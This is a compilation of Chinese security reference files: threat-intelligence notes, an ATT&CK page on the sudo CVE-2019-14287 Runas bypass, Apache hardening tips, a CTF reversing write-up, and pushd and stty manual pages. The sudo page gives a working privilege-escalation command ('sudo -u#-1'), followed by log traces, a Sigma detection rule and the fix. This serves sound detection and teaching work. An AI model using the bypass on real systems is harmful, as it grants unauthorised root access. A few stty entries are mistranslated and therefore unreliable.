常见误区 1.漏洞情报就是威胁情报。威胁企业的,漏洞只是一部分。漏洞知己,威胁知彼。 2.威胁信息=威胁情报。 威胁情报,不仅是收集,还需要分析。情报是已经处理和分析的。 3.威胁情报就是信息收集。信息收集只是威胁情报的第一部分。情报是对企业有意义的。 # 威胁情报的5W1H 威胁情报详细说明了对手如何攻陷和破坏系统,以便防御者可以更好地准备在事前、事中和事后进行预防、检测和响应攻击者的行为。[5] 威胁情报通过使用多种数据(5W1H)来生成关于对手的知识,从而实现这一目标,例如:[5] - 对手是谁(Who),包括威胁行为体,赞助商和雇主 - 对手使用什么(What),包括他们的能力和基础设施 - 对手的行动时(When),确定行动的时间表和规律 - 对手的目的(Why),包括他们的动机和意图 - 对手的目标行业和地理区域(Where),详细说明行业,垂直行业和地理区域 - 对手如何运作(How),专注于他们的行为和规律 ## 安全威胁情报的现今发展 ### 情报体系 行业标准:CybOX, STIX和TAXII等[3],《网络安全威胁信息格式规范》。 常规做法:渗透黑客、诈骗犯社区、漏洞平台、漏洞库、安全社区、针对性漏洞、代码研究 国内厂商:微步在线、360威胁情报中心、X-Force Exchange(IBM的一个威胁情报平台,[链接](https://exchange.xforce.ibmcloud.com/))、[NOSEC大数据平台](https://nosec.org/home/index)、[PolySwarm](https://polyswarm.io/zh-CN/)。 监控黑灰产常用的威胁猎人。[“星云”业务风控系统](https://github.com/threathunterX/nebula)。TODO 利用厂商的这些产品,可以更快更方便的收集整理信息,但这只是一小部分。 ### 为什么企业需要威胁情报? ~提供了培养公司整体网络**风险感知**的指南 ~驱动公司**安全建设**方向和**降低灾损**危害 ~不再是料敌先机和被动防御,更能**防守反击** ### 怎么从白帽子黑客转为情报员? - 基本保密意识和反社工能力,善用搜索引擎和社工**收集信息**(最常用的) - 热点制作与钓鱼,渗透入侵等技术手段**获取敏感信息** - 从海量数据中筛选分析真假数据(核心是数据分析0),生成画像**溯源威胁源**。使用工具收集整理和分析 - 战术开发,战略规划。(产出入侵方案和反入侵方案) ## 企业安全建设 ### 情报收集常用方法 第一步,进行威胁情报信息收集。 - OSINT:聚合分析,情报圈,威胁情报平台,共享威胁情报[1] - 扩:聚合分析是什么——对有关数据进行内容挑选、分析、归类,对一个数据集求最大、最小、和、平均值等指标的聚合。最后能够产生标量值的数据转换过程。 简单地来说,就是聚集大量数据,分析和处理后,产生一个可用的结论。 - 未公开情报:暗网情报、黑客黑产社交社区(Telegram中存在大量的交流频道,[频道搜索](https://www.hottg.com/)) - 基础情报:SIEM(Security Information and Event Management,比较有名的软件比如[McFee的SIEM](https://www.mcafee.com/enterprise/zh-cn/products/siem-products.html))、FC-ISAC、日志管理器等威胁数据 ### 情报分类及画像 收集的情报会有很多,但我们需要对情报进行分类,对其重要性进行评估。也是就是对情报进行级别划分。 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200213004136.png) - 战术级情报(标准的安全知识定义)——运营级情报(标签化的画像、场景的运用)——战略级情报(国家层面,高效的知识传递手段) - 威胁情报是为了解决:检测误漏、防护滞后和相应迟缓等问题。 - 威胁情报是一种**知识和能力**,目的也很明确,是**为了企业进行更好的安全决策**。 ### 不同情报类型在企业的应用 - 策略情报 - 行动情报 - 战略情报 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200213005401.png) ## 威胁情报用在哪里? 常见的威胁情报服务清单 ### 黑客或欺诈团队渗透 涉及黑灰产研究,以上游开发者的身份渗透进黑灰产团伙,进行监控 ### 社会媒体和开源信息监控 OSINT监控 ### 定向漏洞研究 - 对某一个特定业务领域内的安全威胁情报(漏洞方向)研究 - 恶意样本分析 ### 深度、定制的人工分析 在一次攻击事件里,发现的一次攻击样本,需要进行进一步溯源分析 ### 技术指示器升级 一些新的木马、病毒指纹入库 ### 网络行为门户 - 网络行为(Network behavior analysis,NBA):是一种通过监控网络流量、关注网上异常行为,从而提高专有网络安全性的手段。网络行为分析对监测新型恶意软件和零日威胁尤其有效。 - 威胁情报在这块的利用可以理解为,提供企业相关业务的网络行为监控服务 ### 实时事件通知 - 最新的一些威胁情报,实时通报 ### 品牌监控和保护 - 品牌相关的网络侵权有:品牌仿冒、网站欺诈、商标盗用的防御与处置等 - 威胁情报在这块提供的工作,xian - > Forrester在报告中,将这些可能的风险行为及其对应的保护思路归纳为下面8种: > > 1. 品牌滥用监控(针对虚假社交媒体账户和钓鱼网站的欺诈行为) > > 2. 仿冒和欺诈检测(包括出现在网络黑市、论坛等地的仿冒和侵犯知识产权的行为) > > 3. 数据泄漏发现(包括深网和暗网中的敏感数据) > > 4. 数字足迹的定位和监控(漏洞、暴露资产和影子IT等问题的发现) > > 5. 员工监控(现员工和前员工在社交媒体上的活动) > > 6. 人身风险(包括地点、活动、高管旅行计划等可能造成人身伤害的数据泄漏) > > 7. 钓鱼阻止(以窃取消费者支付或隐私数据为目的的钓鱼网站) > > 8. VIP和企业高管保护(确保重要人士的安全,包括清除虚假的社交账户) > > https://www.aqniu.com/tools-tech/49658.html ### 凭据恢复 ### 事故调查 ### 钓鱼网站下线 ### 欺诈交易纠正和通知 ### 伪造域名检测 ## 核心要素 网络安全威胁情报的八个核心要素[4],从战术角度到战略角度(从1到8)。情报价值从1到8逐渐升高 // TODO 对比实战中对应的技术和工具 ### 1.可观察行为(Observable) ### 2.指示器(Indicators) 信誉库,黑白名单 https://www.ddosi.com/qinbao/ ### 3.事件(Incident) ### 4.战技过程(TTP) ### 5.动机(Campaign) ### 6.被攻击系统(Exploit target) ### 7.应对行动(Course of Action) ### 8.威胁源(Threat Actor) 比如告诉一个企业,某个组织、对手在偷你的知识产权,对手是什么,方法是什么,完整的过程等。这样的一条情报就是非常有价值的。 ## 其他 - 相关书籍 - 《情报研究与分析入门》,杰罗姆·克劳泽,这本书偏情报学、图书馆学 - 《情报驱动应急响应》,斯科特·罗伯茨,更偏向于安全领域,但也是理论为主 - 安全威胁情报是和数字取证相关联的,数字取证获取的一部分资料,就是安全威胁情报的一部分。 - 黑客和情报员的身份是可以同时存在的。 ## References \[1] 威胁情报的私有化生产和级联:威胁狩猎及情报共享,https://www.freebuf.com/articles/es/222359.html \[2] 威胁情报的层次分析,https://ti.360.net/blog/articles/level-of-threat-intelligence/ \[3] About CybOX(Archive),https://cyboxproject.github.io/about/ \[4] 网络安全威胁情报体系介绍,i春秋,https://www.ichunqiu.com/course/1299 \[5] 实战化ATT&CK™:威胁情报, 天御实验室,https://www.secpulse.com/archives/111108.html \[6] 威胁情报专栏:谈谈我所理解的威胁情报——认识情报, [仓鼠](https://www.anquanke.com/member/132863),https://www.anquanke.com/post/id/164836 \[7] 威胁情报系列(一):什么是威胁情报, 鱼塘领路人, https://woodrat.xyz/2020/01/12/what-is-threat-intelligence/
sec-knowleage
# T1548-003-linux-CVE-2019-14287 ## 来自ATT&CK的描述 sudoers文件`/etc/sudoers`描述了哪些用户可以运行哪些命令以及从哪些终端运行。这还描述了用户可以作为其他用户或组运行的命令。这提供了最小特权的概念,使得用户在大多数时间以最低可能的权限运行,并且仅在需要时提升到其他用户或权限,通常通过提示输入密码。但是,sudoers文件还可以指定何时不提示用户输入类似`user1 ALL=(ALL) NOPASSWD: ALL` [[1\]](https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/)的行的密码。 攻击者可以利用这些配置来执行其他用户的命令或生成具有更高权限的进程。您必须具有提升权限才能编辑此文件。 ## 测试案例 **CVE-2019-14287** 如果将sudo配置为允许用户通过Runas规范中定义的ALL关键字来以任意用户身份运行命令的话,那么攻击者将有可能通过制定用户ID -1或4294967295来以root权限执行恶意命令。 当sudo被配置为 【允许用户基于Runas规范中定义的ALL关键字,以任意用户身份执行命令】时,可以通过指定特定的用户id(如-1或者4294967295)以root身份运行命令,尽管Runas规范中明确规范了禁止root访问,但只要Runas规范中优先出现了ALL关键字,具有足够sudo特权的用户就可以使用此命令以root身份运行命令 以这种方式运行的命令,日志会把用户id记录为4294967295,而非root。此外,PAM会话不会干预此命令的执行。 \#Runas规范:指sudo配置文件(一般为/etc/sudoers) 中定义的用户执行权限规则 \#PAM(可插入身份验证模块):PAM将程序开发与认证方式进行分离,程序在运行时调用附加的“认证”模块完成自己的工作。本地系统管理员通过配置选择要使用某种认证模块。 **影响版本**:sudo 1.8.28 以下版本 ## 检测日志 linux auth.log日志,无需刻意配置。 模拟环境:ubuntu 19.04 ## 测试复现 步骤如下: 1、创建普通用户账户; 2、切换root权限,修改/etc/sudoers 配置文件写入如下规则 ```dos abc ALL = (ALL, !root) /usr/bin/vi ``` 3、值得注意的是:你需要修改/etc/sudoers的读写权限,否则你无法对此文件进行写入。同时,在写入完成之后,你需要修改此文件的权限为只读 ```shell chmod u+w /etc/sudoers (修改权限,默认只读) chmod u-w /etc/sudoers (只读权限,很重要) ``` 4、测试:执行sudo vi 无权限 ​ 执行sudo -u#-1 vi 突破限制成功以root身份执行 ## 测试留痕 ```history Oct 18 11:09:54 icbc sudo: test321 : TTY=pts/1 ; PWD=/ ; USER=#-1 ; COMMAND=/usr/bin/id Oct 18 11:11:59 icbc sudo: test321 : TTY=pts/1 ; PWD=/ ; USER=#4294967295 ; COMMAND=/usr/bin/id ``` ## 检测规则/思路 ### sigma规则 ```yml title: CVE-2019-14287 sudo 配置不当-权限提升 description: Ubuntu19.04 x64测试结果(当sudo配置为允许用户通过Runas规范中的ALL关键字以任意用户身份运行命令时,可以按通过指定用户ID-1或4294967295成为root用户。具有足够sudo特权的用户可以使用它来以root身份运行命令,即使Runas规范明确禁止root用户访问,只要在Runas规范 条件中首先列出ALL关键字即可) references: https://sysdig.com/blog/detecting-cve-2019-14287/ tags: T1548-003 status: experimental author: Blue team logsource: product: linux detection: selection: proc.name: 'sudo:' proc.USER: - '#-1' - '#4294967295' condition: selection level: medium ``` ### 建议 暂无 ## 缓解措施 目前主要影响以下版本: sudo -V < 1.8.28 升级sudo版本至1.8.28以上 ## 相关TIP [[T1548-003-linux-Sudo]] [[T1548-002-win-绕过用户账户控制-Eventvwr.exe(白名单)]] [[T1548-003-linux-Sudo]] ## 参考推荐 MITRE-ATT&CK-T1548-003 <https://attack.mitre.org/techniques/T1548/003/> 检测CVE-2019-14287 <https://sysdig.com/blog/detecting-cve-2019-14287/>
sec-knowleage
# 为 代码安全指南 作出贡献 欢迎 [提出问题或建议](issues) 或 [提交合并请求](pulls),建议在为项目作出贡献时,阅读以下指南。 ### I. Commit Mesage 编写指引 为便于索引,Commit Message应包括三个部分:Header(必需),Body(可选)和 Footer(可选)。 ```html <type>(<scope>): <subject> // 空一行 <body> // 空一行 <footer> ``` **Header 部分**只有一行,包括三个字段:type(必需)、scope(可选)和subject(必需)。 > type 用于说明 commit 的类别,可使用下面3个标识:<br/> > - add: 添加新规范语言或条目<br/> > - fix: 修订内容<br/> > - chore: 非指南文档本身或相关辅助工具的变动<br/> > > scope 用于指定 commit 影响的范围,包括对应的语言及其条目编号;如:go/1.1.1。 > > subject是 commit 目的的简短描述。 **Body 部分**是对本次 commit 的详细描述。 **Footer 部分**关闭 Issue。如果当前 commit 针对某个issue,可以在 Footer 部分关闭这个 issue 。 一个完整的示例如下: ```html fix(go/1.1.1): 修订条目内容 - 修正代码示例缩进问题 Close #1 ``` ### II. Issues 编写指引 为便于理解与管理,提交问题或建议时,参考以下格式: ``` 标题:#<对应的指南语言># 指南<对应的条目编号>修订建议 内容: 1、问题描述 <指出存在的问题> 2、解决建议 <提供解决建议及参考材料> ``` 一个完整的示例如下: ``` 标题:#JavaScript# 指南1.3.1条修订建议 内容: 1、问题描述 JavaScript代码安全指南的【1.3.1条】赋值或更新HTML属性部分,需补充 2、解决建议 应补充下列风险点: area.href、input.formaction、button.formaction ```
sec-knowleage
原文 by wooyun ## 0x00 测试环境 centos6.5+apache2.2.15+php5.3.3 ## 0x01 php的运行模式介绍 php的运行模式分四种: 1. CGI通用网关接口 2. fast-cgi常驻型的CGI 3. cli命令行运行 4. web模块模式 一般情况下,apache使用web模块模式运行php ## 0x02 Apache运行原理介绍 Apache是基于模块化设计的,各个模块在系统启动的时候按需载入。Apache对于php的解析,就是通过众多Module中的php Module来完成的。 ![](../pictures/apacheconf1.png) 所以,php加载成为了apache的一个模块,可以把apache和php当成一个整体看待。 当浏览器请求一个php文件时,我们可以理解为apache直接处理返回给浏览器结果,服务器上也只会有httpd进程,而不会有php进程。 apache的一些配置主要是通过httpd.conf来实现的,但是可以在httpd.conf中开启对.htaccess的支持,然后在.htaccess中进行配置。不过一般情况下,不应该使用.htaccess文件,除非你对主配置文件没有访问权限。.htaccess文件应该被用在内容提供者需要针对特定目录改变服务器的配置而又没有root权限的情况下。如果服务器管理员不愿意频繁修改配置,则可以允许用户通过.htaccess文件自己修改配置。 ## 0x03 Apache安全配置方案 1. 选择漏洞较少的apache版本,并打上安全补丁 查看apache版本号:httpd -v 然后在sebug上搜索该版本号有什么漏洞,可根据提示提升版本或者打上补丁 2. 关闭一些不使用的模块及功能 可在LoadModule前加#,来注释掉一些不使用的模块 3. 隐藏banner信息 `ServerTokens OS`  修改为:`ServerTokens Prod` (在出现错误页的时候不显示服务器操作系统的名称) `ServerSignature On` 修改为:`ServerSignature Off`(不回显apache版本信息) 4. 删除默认网站及页面 删除默认的页面,防止泄露服务器信息 5. 可修改banner信息 6. 配置httpd.conf禁止目录浏览 将`Options Indexes FollowSymLinks` 改为 `Options -Indexes FollowSymLinks` 7. 配置httpd.conf设置默认文档 `DirectoryIndex index.html` 8. 合理配置apache的运行账户 为apache单独建立一个运行账户及账户组,并在httpd.conf配置 ``` User apache Group apache ``` 9. 合理控制apache运行账户对磁盘的写入,执行权限 取消apache运行账户对网站目录的写入权限,上传目录除外,其他非网站目录尽量不给权限 10. 合理控制apache运行账户对sh等的执行权限 取消掉了运行账户对sh等的执行权限后能够防止webshell通过默认的sh执行命令 11. 配置httpd.conf取消对上传目录的php执行权限 ``` <Directory "/var/www/html/aaa"> <FilesMatch ".(php|php5)$"> Deny from all </FilesMatch> </Directory> ``` 12. 配置httpd.conf限制禁止访问的文件夹,例如后台目录 ``` <Directory "/var/www/html/aaa"> Deny from all </Directory> ``` 13. 配置httpd.conf限制一些特殊目录的特定ip访问,如内部接口等。 ``` <Directory "/var/www/html/aaa"> Order Deny,Allow Deny from all Allow from 192.168.1.111 </Directory> ``` 14. 配置httpd.conf限制一些文件类型的访问,如txt的日志 ``` <Files ~ ".txt$"> Order allow,deny Deny from all </Files> ``` 15.配置httpd.conf修改修改监听端口来防止一些内部系统被扫描 这样可以防止一些直接扫描80端口的黑客 ``` Listen 12345 ``` 16. 关闭对.htaccess的支持 `AllowOverride All` 改为 `AllowOverride None` 17. 配置httpd.conf记录访问日志 ## 0x04 .htaccess常见配置方法参考 首先,不建议使用.htaccess,其次,使用.htaccess需要在httpd.conf中开启,最后,开始.htaccess支持后需要在httpd.conf中配置防止.htaccess文件被下载,下面介绍几个基本配置方法不全,更多的可以参考其他网站专门针对.htaccess 的配置方法。 1. 定制目录的默认文档 `DirectoryIndex index.html index.php index.htm ` 2. 定制错误页面 `ErrorDocument 404 errors/404.html ` 3. 控制访问文件和目录的级别 ``` order deny,allow deny from all allow from 192.168.0.0/24 ``` 4. 防止列目录 `Options -Indexes` ## 0x05 总结 其实一个web服务器的保护是分几个层次的(暂不考虑程序的漏洞): 1. 隐藏自己 要保护一个web服务器首先得学会隐藏自己,对于一些内部系统,如后台,内部接口等,我们可以通过改端口,限制ip等方式来不让黑客发现。 2. 隐藏身份 对于多数web系统来说,都是提供给外面的访问的,所以想隐藏自己其实是很难的。但是我们还是要学会隐藏身份,可以通过改banner,该返回信息来隐藏身份来加大黑客攻击的难度。 3. 选用安全的版本及修补一些已知的漏洞 其实前面两步都是很容易突破,然后获知一个web系统所使用的web服务器版本的,此时我们能做的就是选择一个少漏洞的版本,及打上安全补丁。 4. 做好安全配置 做好基础的安全配置,禁止目录浏览,设定默认文档,上传目录限制php执行等等,来阻挡黑客的入侵。 5. 合理配置web服务进程账户的权限 当黑客已经通过程序漏洞上传了一个webshell并且已经成功执行了,此时,就只能很好的配置服务进程的账户权限,包括磁盘的读取写入,特殊程序如sh的执行,等等,这样可以讲危害降到最低。 6. 记录日志 最后,当黑客已经光顾之后,我们也只能通过日志来分析,看问题出在哪里了。
sec-knowleage
pushd === 将目录添加到目录堆栈顶部。 ## 概要 ```shell pushd [-n] [+N | -N | dir] ``` ## 主要用途 - 将目录添加到目录堆栈顶部,切换当前工作目录到该目录。 - 旋转目录堆栈,使堆栈的新顶部成为当前工作目录。 - 没有参数时,交换目录堆栈的前两个目录。 ## 选项 ```shell -n 抑制添加目录引起的当前工作目录变化。 ``` ## 参数 +N(可选):不带参数执行`dirs`命令显示的列表中,左起的第N个目录将作为堆栈顶部,在它前面的会移动到底部。(从0开始计数) -N(可选):不带参数执行`dirs`命令显示的列表中,右起的第N个目录将作为堆栈顶部,在它前面的会移动到底部。(从0开始计数) dir(可选):要推送的目录。 ## 返回值 返回成功除非提供了非法选项或执行出现错误。 ## 例子 ```shell # 添加目录到堆栈,改变了当前工作目录。 [user2@pc ~]$ dirs ~ [user2@pc ~]$ pushd ~/Desktop ~/Desktop ~ [user2@pc Desktop]$ ``` ```shell # 添加目录到堆栈,当前工作目录不变。 [user2@pc ~]$ dirs ~ [user2@pc ~]$ pushd -n ~/Desktop ~ ~/Desktop [user2@pc ~]$ pushd -n ~/Pictures ~ ~/Pictures ~/Desktop # 调整顺序。 [user2@pc ~]$ pushd +1 ~/Pictures ~/Desktop ~ [user2@pc ~]$ pushd -1 ~/Desktop ~ ~/Pictures [user2@pc ~]$ pushd ~ ~/Desktop ~/Pictures ``` ### 注意 1. `bash`的目录堆栈命令包括`dirs popd pushd`。 2. 当前目录始终是目录堆栈的顶部。 3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 ### 参考链接 - [popd、pushd命令'-n'选项的行为](https://superuser.com/questions/784450/popd-and-pushd-behavior-with-n-option)
sec-knowleage
## unholy (reversing, 4 points, 68 solves) python or ruby? why not both! In this task we got a Ruby program, refering to shared library unholy.so. The program mixed Ruby and Python code (and native code from the library). Quick analysis of `main.rb` file showed that the program had a basic structure of typical keygenme: get flag, tell if flag is good. We had to reverse the `is_key_correct` function. Starting at the end, we noticed that it calls Python interpreter with the following code: ``` exec """ import struct e=range I=len import sys F=sys.exit X=[[%d,%d,%d], [%d,%d,%d], [%d,%d,%d]] Y = [[383212,38297,8201833], [382494 ,348234985,3492834886], [3842947 ,984328,38423942839]] n=[5034563854941868,252734795015555591,55088063485350767967, -2770438152229037,142904135684288795,-33469734302639376803, -3633507310795117,195138776204250759,-34639402662163370450] y=[[0,0,0],[0,0,0],[0,0,0]] A=[0,0,0,0,0,0,0,0,0] for i in e(I(X)): for j in e(I(Y[0])): for k in e(I(Y)): y[i][j]+=X[i][k]*Y[k][j] c=0 for r in y: for x in r: if x!=n[c]: print "dang..." F(47) c=c+1 print ":)" """ ``` It seems that we need to solve for X - it had `%d`'s in it, and assembly code called `sprintf` before, so it's probably our input, possibly after some processing. The above Python code was simply multiplying `X` with `Y` and then comparing with `n` - all three being 3x3 matrices. Using numpy we quickly solved the `X*Y=n` equation through tranforming it to equivalent equation `X=n*inv(Y)`. OK, so now we got X. It did not look as ASCII or anything, so we had to look into unholy.so to see what it really was. The most of the code was just parsing and changing internal number representations - nothing really interesting. At some point, there was a lot of xors and shifts with some constants - something that looked like a cipher of some kind. Googling one of the constants (0xc6ef3720) revealed that it was XTEA algorithm. We found the decryption function implementation and wrote a C++ code (`decrypt.cpp`) to decrypt what we had (the key was hidden as constant too). Running it yields the correct flag. in the assembly too).
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH STTY 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 stty \- 更改并输出终端行设置 .SH 概述 \fBstty\fP [\fI\,\-F 设备 | \-\-file=设备\/\fP] [\fI\,设置\/\fP]... .br \fBstty\fP [\fI\,\-F 设备 | \-\-file=设备\/\fP] [\fI\,\-a|\-\-all\/\fP] .br \fBstty\fP [\fI\,\-F 设备 | \-\-file=设备\/\fP] [\fI\,\-g|\-\-save\/\fP] .SH 描述 .\" Add any additional description here .PP 输出或变更终端特性。 .PP 必选参数对长短选项同时适用。 .TP \fB\-a\fP, \fB\-\-all\fP 以可读性较好的格式输出全部当前设置 .TP \fB\-g\fP, \fB\-\-save\fP 以 stty 可读取的格式输出当前全部设置 .TP \fB\-F\fP, \fB\-\-file\fP=\fI\,设备\/\fP 打开并使用指定设备代替标准输入 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 设置字符串可以添加 "\-" 前缀,表示禁用该项设置。下文中的 * 表示这项设置不属于 POSIX 标准。各项设置是否可用取决于底层的系统。 .SS 特殊字符: .TP * discard 字符 字符将开始或停止丢弃输出的内容 .TP eof 字符 字符将发送文件结束字符(用于终止输入) .TP eol 字符 字符将发送行结束字符 .TP * eol2 字符 另一个行结束字符 .TP erase 字符 字符将擦除上一个输入的字符 .TP intr 字符 字符将发送中断信号 (SIGINT) .TP kill 字符 字符将擦除当前行 .TP * lnext 字符 字符将给下一个输入的字符加上引号 .TP quit 字符 字符将发送退出信号 (SIGQUIT) .TP * rprnt 字符 字符将重新绘制当前行 .TP start 字符 字符将重新开始先前停止的输出 .TP stop 字符 字符将停止输出 .TP susp 字符 字符将发送终端停止信号 (SIGTSTP) .TP * swtch 字符 字符将切换至不同的 shell 层 .TP * werase 字符 字符将擦除上一个输入的单词 .SS 特殊设置: .TP N 设置输入和输出速度为 N 波特 .TP * cols N 告知内核此终端有 N 列 .TP * columns N 同 cols N .TP * [\-]drain 应用设置前等待传输完成(默认%s) .TP ispeed N 设置输入速度为 N .TP * line N 使用行规则 N .TP min N 和 \fB\-icanon\fP 同时使用时,设置每次完成读取需要的最小字符数为 N .TP ospeed N 设置输出速度为 N .TP * rows N 告知内核此终端有 N 列 .TP * size 根据内核提供的信息,输出此终端的行数和列数 .TP speed 输出终端速度 .TP time N 和 \fB\-icanon\fP 同时使用时,设置读取超时为 N * 0.1 秒 .SS 控制设置: .TP [\-]clocal 禁用调制解调器控制信号 .TP [\-]cread 允许接收输入 .TP * [\-]crtscts 启用 RTS/CTS 握手 .TP csN 将字符大小设置为 N 比特,N 取值在 [5..8] 之间 .TP [\-]cstopb 每个字符使用 2 位停止位(若带 "\-",则使用 1 位停止位) .TP [\-]hup 当最后一个进程关闭 tty 时,发送挂断信号 (SIGHUP) .TP [\-]hupcl 同 [\-]hup .TP [\-]parenb 在输出中生成奇偶校验位,并要求输入包含奇偶校验位 .TP [\-]parodd 设置奇校验位(若带 "\-",则设置偶校验位) .TP * [\-]cmspar 使用 "粘滞" 奇偶校验位 (mark/space parity) .SS 输入设置: .TP [\-]brkint 中断字符会触发中断信号 (SIGINT) .TP [\-]icrnl 将回车转换为换行符 .TP [\-]ignbrk 忽略中断字符 .TP [\-]igncr 忽略回车 .TP [\-]ignpar 忽略奇偶校验错误的字符 .TP * [\-]imaxbel 当输入缓冲区已满时,输入字符时响铃,而不排空输入缓冲区 .TP [\-]inlcr 将换行转换为回车 .TP 将换行转换为回车 对输入启用奇偶校验 .TP [\-]istrip 将输入字符的最高位(第 8 位)置 0 .TP * [\-]iutf8 假定输入字符编码为 UTF\-8 .TP * [\-]iuclc 将大写字符转换为小写 .TP * [\-]ixany 使任意字符都能重新开始输出,而非只有 "start 字符" 指定的字符 .TP [\-]ixoff 启用 "start 字符" 和 "stop 字符" 的发送 .TP [\-]ixon 启用 XON/XOFF 流控制 .TP [\-]parmrk 标记奇偶校验错误(使用 255\-0\-字符 序列) .TP [\-]tandem 同 [\-]ixoff .SS 输出设置: .TP * bsN 退格延迟风格,N 取值在 [0..1] 之间 .TP * crN 回车延迟风格,N 取值在 [0..3] 之间 .TP * ffN 换页延迟风格,N 取值在 [0..1] 之间 .TP * nlN 换行延迟风格,N 取值在 [0..1] 之间 .TP * [\-]ocrnl 将回车转换为换行符 .TP * [\-]ofdel 使用 DEL 字符而非 NUL 字符作为填充字符 .TP * [\-]ofill 使用填充字符而非时间作为延迟 .TP * [\-]olcuc 将小写字符转换为大写 .TP * [\-]onlcr 将换行转换为回车\-换行 .TP * [\-]onlret 换行将执行回车操作 .TP * [\-]onocr 不要在第一列输出回车 .TP [\-]opost 对输出进行后处理 .TP * tabN 水平制表符延迟风格,N 取值在 [0..3] 之间 .TP * tabs 同 tab0 .TP * \fB\-tabs\fP 同 tab3 .TP * vtN 垂直制表符延迟风格,N 取值在 [0..1] 之间 .SS 本地设置: .TP [\-]crterase 将 "erase 字符" 回显为退格\-空格\-退格 .TP * crtkill 依照 echoprt 和 echoe 的设置擦除所有行 .TP * \fB\-crtkill\fP 依照 echoctl 和 echok 的设置擦除所有行 .TP * [\-]ctlecho 将控制字符按照帽子表示法进行回显(如 "^c") .TP [\-]echo 对输入字符进行回显 .TP * [\-]echoctl 同 [\-]ctlecho .TP [\-]echoe 同 [\-]crterase .TP [\-]echok 在 "kill 字符" 后回显换行 .TP * [\-]echoke 同 [\-]crtkill .TP [\-]echonl 即使没有回显其他字符,也回显换行 .TP * [\-]echoprt 反向回显被擦除的字符,并置于 '\e' 和 "/" 之间 .TP * [\-]extproc 启用 "行模式" (LINEMODE);在高延迟连接下有用 .TP * [\-]flusho 丢弃输出 .TP [\-]icanon 启用特殊字符:erase, kill, werase, rprnt .TP [\-]iexten 启用非 POSIX 特殊字符 .TP [\-]isig 启用特殊字符中的 intr、quit 和 susp 字符 .TP [\-]noflsh 在收到 intr 和 quit 特殊字符后禁止排空缓冲区 .TP * [\-]prterase 同 [\-]echoprt .TP * [\-]tostop 停止试图写入终端的后台任务 .TP * [\-]xcase 和 icanon 同时使用时,支持用 '\e' 转义序列表示大写字符 .SS 组合设置: .TP * [\-]LCASE 同 [\-]lcase .TP cbreak 同 \fB\-icanon\fP .TP \fB\-cbreak\fP 同 icanon .TP cooked 同 brkint ignpar istrip icrnl ixon opost isig icanon 且将 eof 和 eol 字符设为默认值 .TP \fB\-cooked\fP 同 raw .TP crt 同 echoe echoctl echoke .TP dec 同 echoe echoctl echoke \fB\-ixany\fP intr ^c erase 0177 kill ^u .TP * [\-]decctlq 同 [\-]ixany .TP ek 将 erase 和 kill 字符设为默认值 .TP evenp 同 parenb \fB\-parodd\fP cs7 .TP \fB\-evenp\fP 同 \fB\-parenb\fP cs8 .TP * [\-]lcase 同 xcase iuclc olcuc .TP xcase iuclc olcuc 同 \fB\-parenb\fP \fB\-istrip\fP \fB\-opost\fP cs8 .TP \fB\-litout\fP 同 parenb istrip opost cs7 .TP nl 同 \fB\-icrnl\fP \fB\-onlcr\fP .TP \fB\-nl\fP 同 icrnl \fB\-inlcr\fP \fB\-igncr\fP onlcr \fB\-ocrnl\fP \fB\-onlret\fP .TP oddp 同 parenb parodd cs7 .TP \fB\-oddp\fP 同 \fB\-parenb\fP cs8 .TP [\-]parity 同 [\-]evenp .TP pass8 同 \fB\-parenb\fP \fB\-istrip\fP cs8 .TP \fB\-pass8\fP 同 parenb istrip cs7 .TP raw 同 \fB\-ignbrk\fP \fB\-brkint\fP \fB\-ignpar\fP \fB\-parmrk\fP \fB\-inpck\fP \fB\-istrip\fP \fB\-inlcr\fP \fB\-igncr\fP \fB\-icrnl\fP \fB\-ixon\fP \fB\-ixoff\fP \fB\-icanon\fP \fB\-opost\fP \fB\-isig\fP \fB\-iuclc\fP \fB\-ixany\fP \fB\-imaxbel\fP \fB\-xcase\fP min 1 time 0 .TP \fB\-raw\fP 同 cooked .TP sane 同 cread \fB\-ignbrk\fP brkint \fB\-inlcr\fP \fB\-igncr\fP icrnl icanon iexten echo echoe echok \fB\-echonl\fP \fB\-noflsh\fP \fB\-ixoff\fP \fB\-iutf8\fP \fB\-iuclc\fP \fB\-ixany\fP imaxbel \fB\-xcase\fP \fB\-olcuc\fP \fB\-ocrnl\fP opost \fB\-ofill\fP onlcr \fB\-onocr\fP \fB\-onlret\fP nl0 cr0 tab0 bs0 vt0 ff0 isig \fB\-tostop\fP \fB\-ofdel\fP \fB\-echoprt\fP echoctl echoke \fB\-extproc\fP \fB\-flusho\fP,并将所有特殊字符都设为默认值 .PP 处理连接到标准输入的 tty 行设置。不带参数时,程序会输出波特率、行规则以及与标准 stty 设置不同的设置。在设置中,字符可以直接输入,或者使用形如 ^c、0x37、0177 或 127 的格式进行表示;可使用特殊值 ^\- 或 undef 禁用特殊字符。 .SH 作者 由 David MacKenzie 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/stty> .br 或者在本地使用: info \(aq(coreutils) stty invocation\(aq
sec-knowleage
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical 